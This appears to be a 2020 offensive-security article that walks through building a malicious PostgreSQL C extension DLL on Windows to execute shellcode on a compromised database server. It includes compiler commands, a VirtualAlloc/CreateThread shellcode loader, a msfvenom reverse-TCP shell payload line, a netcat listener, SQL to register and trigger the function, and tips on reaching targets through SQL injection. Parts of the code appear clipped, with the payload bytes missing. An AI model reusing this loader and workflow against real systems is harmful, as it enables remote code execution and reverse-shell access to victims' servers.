Concerned Project Repository

You can find a complete version of the project that is described in this paper on my Github account.

Postgresql Extension Shellcode Execution

Postgresql offer to developer the possibility to create their own plugins, often called UDF (User Defined Function).

In this paper we will demonstrate how we could take advantage of Postgresql UDF to run malicious code (in this example, shellcode) in a compromised database (Ex: through SQLi).

Notice, we must have sufficient privilege to register a new UDF. This is not always the case.


Local Postgresql Server

To maximise the chance to succeed executing our own Postgres extension, it is very important to extract the version of target Postgres server and install the exact same version in your own lab environment.

In our case, we are targeting a PostgreSQL 13.1 64-bit

It is also important to note the target Postgres architecture (in our case x86-64). Depending on target architecture we will need to compile our custom extension wether in 32 or 64bit.

Installing Postgresql will also automatically extract required C header files to build our own extension. This is why it is so important to compile our custom extension in an environment with the exact same version of Postgresql server available since those files might change between two version.

Those C header files are generally located at this path : C:\Program Files\PostgreSQL\<pg_version>\include

Where pg_version is the version of Postgresql we want to target (in our case, version 13.x).

C Compiler

To compile our custom extension, we will need to have a C compiler installed and supporting the correct architecture.

We will use MinGw C 64bit compiler that comes as an extra package of Cygwin.

Feel free to use and adapt the build process with your favorite C compiler / IDE.

Create a very basic extension.


#include "postgres.h" // Required postgres C header file
#include "fmgr.h" // Required postgres C header file

PG_MODULE_MAGIC; // Used by postgresql to recognize a valid extension

    Define which functions can be used by postgres. In our case just "custom_func"

    Our custom function code goes there
      OutputDebugStringW(L"Hello from postgresql extension.");


Above code is the minimal required code to build our own Postgresql extension.

On Microsoft Windows, Postgresql extension are compiled as DLL files.

We can compile our extension code using the following command:

x86_64-w64-mingw32-gcc.exe minimal_extension.c -c -o minimal_extension.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"

  • C:\Program Files\PostgreSQL\13\include
  • C:\Program Files\PostgreSQL\13\include\server
  • C:\Program Files\PostgreSQL\13\include\server\port\win32

Are required postgresql header files locations.

We then can build our DLL file using the following command:

x86_64-w64-mingw32-gcc.exe -o minimal_extension.dll -s -shared minimal_extension.o -Wl,--subsystem,windows

Load extension

We will use the PgAdmin tool to run our custom SQL queries to load and test our custom extension.


Where extension_path is the location of our DLL file.

A little popup should say that query were successfully executed.

Call extension function

First let’s open a privileged DebugView.exe instance to catch our OutputDebugString. Be sure to have Capture > Capture Global Win32 option checked.

We can now call our newly registered function from our custom extension using a basic SELECT statement.

SELECT custom_func();

We should now see our message in DebugView window.

Success! We are now free to replace our basic OutputDebugString with more complex code and take advantage of Postgres extension to gain privileged access on a target machine.

Unregister function

During development process, we will often need to patch our custom extension. Our DLL file is currently loaded by postgres process so the file is locked and can’t be patched as is.

We can simply first unregister our custom function declaration using the following SQL statement


Then open our Microsoft Service manager and restart postgres service.

This will unlock our DLL file.

Shellcode Execution

We now know how to create and execute code from custom extension through postgres extension capabilities.

We will now create a new version of our extension to execute shellcode payloads.

We will use Metasploit Msfvenom to create our payload.

And use a classic technique to copy our payload to a new allocated memory region and create a new thread starting code execution at this new location.

This will prevent our current postgres thread to hang when executing payload.

—warning— Don’t forget to replace current defined payload with your own version. —end—


#include "postgres.h"
#include "fmgr.h"


// msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f c -v payload
unsigned char payload[] =



        Classic method to load a shellcode in memory and create/execute a new thread at it location.
    LPVOID p = VirtualAlloc(NULL, sizeof(payload), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);

    DWORD dwThreadId;

    MoveMemory(p, &payload, sizeof(payload));

    CreateThread(NULL, 0, p, NULL, 0, &dwThreadId);


x86_64-w64-mingw32-gcc.exe PgShellcodeExt.c -c -o PgShellcodeExt.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"

x86_64-w64-mingw32-gcc.exe -o PgShellcodeExt.dll -s -shared PgShellcodeExt.o -Wl,--subsystem,windows

We can now open a new local netcat listener on our attacker’s machine.

user@local:$ nc -lvp 443

And then register and trigger our custom extension with following SQL statement (still from our PgAdmin instance)

-- Register new function
CREATE OR REPLACE FUNCTION shellcode() RETURNS void AS 'C:\Users\Jean-Pierre LESUEUR\Desktop\PgShellcodeExt\PgShellcodeExt.dll', 'shellcode' LANGUAGE C STRICT;

-- Trigger function
SELECT shellcode();

-- Delete function

Checking our local netcat listener reveal we’ve successfully received our reverse shell.


This paper demonstrated how to take advantage of postgres extension capabilities to execute shellcode.

But it will need more efforts in production to be usable.

  • First you will need to find a way to execute SQL queries as a privileged postgres user (required to implement new extensions). Most of the time from a SQL injection present in a vulnerable application.
  • Secondly, you will need to find a way to transmit your DLL extension to target machine:
    • Additional SQL Statements
    • File Uploads
    • Shares
    • etc…

Feel free to port this example to another operating system (ex: Linux). Most of the thing are very similar.

We will probably post another paper on this subject for Linux.

Nov. 27, 2020, 11:14 a.m.